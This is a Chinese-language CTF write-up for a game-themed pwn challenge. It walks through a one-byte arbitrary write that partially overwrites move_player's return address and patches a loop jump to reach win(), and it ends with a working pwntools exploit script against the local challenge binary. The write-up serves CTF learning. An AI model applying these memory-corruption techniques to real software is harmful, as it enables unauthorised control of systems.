游戏逆向pwn

  1. 一个逆向游戏题,这里有个很明显的任意写漏洞
if ( op == 'l' )
    player_tile = getchar();
*(_BYTE *)(row[1] + buf + 90 * *row) = player_tile;

但这里有个很恶心的地方*(_BYTE *)(row[1] + buf + 90 * *row) = 0x2E; 这个地方让想任意写2个字节变得困难,因为任意写了一次之后,下一次如果是移动,那么原先写好的地方会被覆盖为\x2e,这意味着只能partial overwrite一个字节,可以负数溢出写call move_player的返回地址,也就是0x0804992C,任意写一个字节意味着0x080499xx的函数我们都可以执行

.text:08049927      call    move_player
.text:0804992C      add     esp, 10h
  1. 初步分析后发现可以通过修改times来实现无限次数输入,这样就可以正常通关然后就可以执行此处的函数让level,cnt加1
if ( row == 29 && col == 89 && level != 4 )
    {
      puts("You win!\n Next level starting ");
      ++cnt;
      ++level;
      init_player(&row);
      init_map((int)buf, &row, &level);
    }
  1. 本来以为这样就结束了,结果发现if语句还有个判断是 level != 4,但是win函数里面要求level=5,说明需要用那个任意地址写一个字节来执++cnt;++level;来达到level==5的目的
  2. 本以为这样就结束了,发现退不出循环,本来想着修改times来实现无限次数输入,但是发现会满足if里面的条件最终让level=6,cnt=5还是退不出去循环,突然想到再一次任意地址写一个字节,只要跳出循环就行了,这个jnz是循环的语句,刚好发现覆盖为\xfe就可以执行到call win,刚好满足
.text:080499F8                 jnz     loc_8049905
.text:080499FE                 sub     esp, 0Ch
.text:08049A01                 lea     eax, [ebp+level]
.text:08049A07                 push    eax
.text:08049A08                 call    win

总结

  • 其实这种整数溢出的漏洞还是很好发现的,这种游戏题逆向的漏洞一般也不会太难,主要是*(_BYTE *)(row[1] + buf + 90 * *row) = 0x2E; 这个地方卡了很久,一开始一直以为可以任意地址写任意字节,发现实现不了,于是就转变思路任意地址写一字节也可以控制流程
  • 可以控制流程那么剩下的步骤就是缺什么条件寻找合适的方法满足就好了
  • exp
from pwn import *
from pwncli import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p8
context(os='linux', arch='i386', log_level='debug')
elf=ELF("/home/zp9080/PWN/pwn")
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') #彩色打印
p=process("/home/zp9080/PWN/pwn")
def dbg():
    gdb.attach(p)
    pause()

# .text:0804997F  add  esp, 10hbackdoor=0x0804997F 
p.send(b'l\x7f')
for i in range(3):
    #(0,-4)修改times
    payload=b'a'*8+b'w'*4+b's'*29+b'd'*93
    p.send(payload)

#-90+39=-51  修改返回地址最低字节
#(-1,39)partial write修改ret ,让level=5,cnt=4 ,但是要注意此时也执行了init
payload=b'w'*4+b'd'*35+b'w'
p.send(payload)

#level==5又有一个很恶心的地方就是row == 29 && col == 89 时又会执行if里面的语句
#.text:080499FE  sub  esp, 0Ch所以这里要进行要直接覆盖返回地址为0x080499FE,这样直接跳出循环执行win函数

#level==5也满足了win里面printf的条件
payload=b'l\xfe'+b'w'*4+b'd'*35+b'w'
p.send(payload)

p.interactive()